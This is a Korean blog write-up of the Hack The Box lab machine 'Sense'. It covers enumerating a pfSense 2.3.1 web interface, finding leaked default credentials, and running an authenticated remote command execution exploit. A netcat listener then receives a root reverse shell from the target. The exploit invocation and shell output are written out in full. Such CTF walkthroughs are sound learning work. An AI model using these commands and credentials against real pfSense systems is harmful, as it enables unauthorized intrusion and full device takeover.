HTB/Linux

Sense

haru0909 2023. 9. 1. 01:05

 

OS : LINUX

취약점 : pfsense 2.3.1

배운 점 : gobuster를 빡세게 돌려야 함. 

느낀 점 : credential만 찾으면 바로 root까지 딸 수 있는데 이걸 못 찾아서 몇 시간을 날림.

-------------------------------------------------------------------------------------------------------------------------------

  1. nmap을 돌려봄.
    80, 443이 도출됨.
    lighttpd 1.4.35 버전을 사용하는 것만 나옴.
    해당 취약점에 대해 열심히 찾아보았으나 결론은 땡. 안 됨.  
  2. gobuster를 돌려봄.
    gobuster dir -u [ip] -w /usr/share/dirb/wordlists/common.txt -k 
    xmlrpc.php가 200 OK를 뱉어냄.
    해당 취약점이 있는 것으로 확인함. 마침 xmlrpc에 pfsense라는 것이 있는데,
    웹페이지와 동일한 이름에다가 박스 이름도 sense인 것 봐서는 어택포인트가 여긴 것으로 추측됨.
    // 추후에 알게된 점 : gobuster dir -u [ip] -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php 와 같이 확장자를 붙여서 하거나(사실 얘로도 안 나옴) medium.txt와 같은 큰 파일을 이용해야 했다.
  3. xmlrpc.php의 취약점 중 하나인 bruteforce를 진행
    https://github.com/galehrizky/wp-brute-xmlrpc
    --> 실패
  4. xmlrpc.php pfsense exploit 구글링 및 searchsploit
    버전은 모르겠고 일단 pfsense의 remote code injection exploit을 실행시킴
    admin 로그인이 필요해보임 (WAN의 IP가 필요한듯)

다른 공격 시도. 쉘 따는 모든 공격이 credential을 필요로 함..
다시 bruteforce를 진행해야 하는 걸까..?

[타인의 방법 확인]
gobuster의 medium.txt 결과로 system-users.txt가 나왔다 카더라...
https://10.129.177.216/system-users.txt
username: Rohit
password: company defaults //pfsense

ㅎㅎ...
이제 RCE가 가능하겠구나^^;;

$ searchsploit pfsense  

$ searchsploit -p 43193.rb  
  Exploit: pfSense - (Authenticated) Group Member Remote Command Execution (Metasploit)  
      URL: [https://www.exploit-db.com/exploits/43193](https://www.exploit-db.com/exploits/43193)  
     Path: /usr/share/exploitdb/exploits/unix/remote/43193.rb  
    Codes: N/A  
 Verified: True  
File Type: Ruby script, ASCII text  
Copied EDB-ID #43193's path to the clipboard  

$ python 43560.py --rhost 10.129.66.200 --lhost 10.10.14.25 --lport 4444 --username rohit --password pfsense  
CSRF token obtained  
Running exploit...  
Exploit completed  

$ nc -lvnp 4444  
listening on \[any\] 4444 ...  
connect to \[10.10.14.25\] from (UNKNOWN) \[10.129.66.200\] 59670  
sh: can't access tty; job control turned off  
# whoami  
root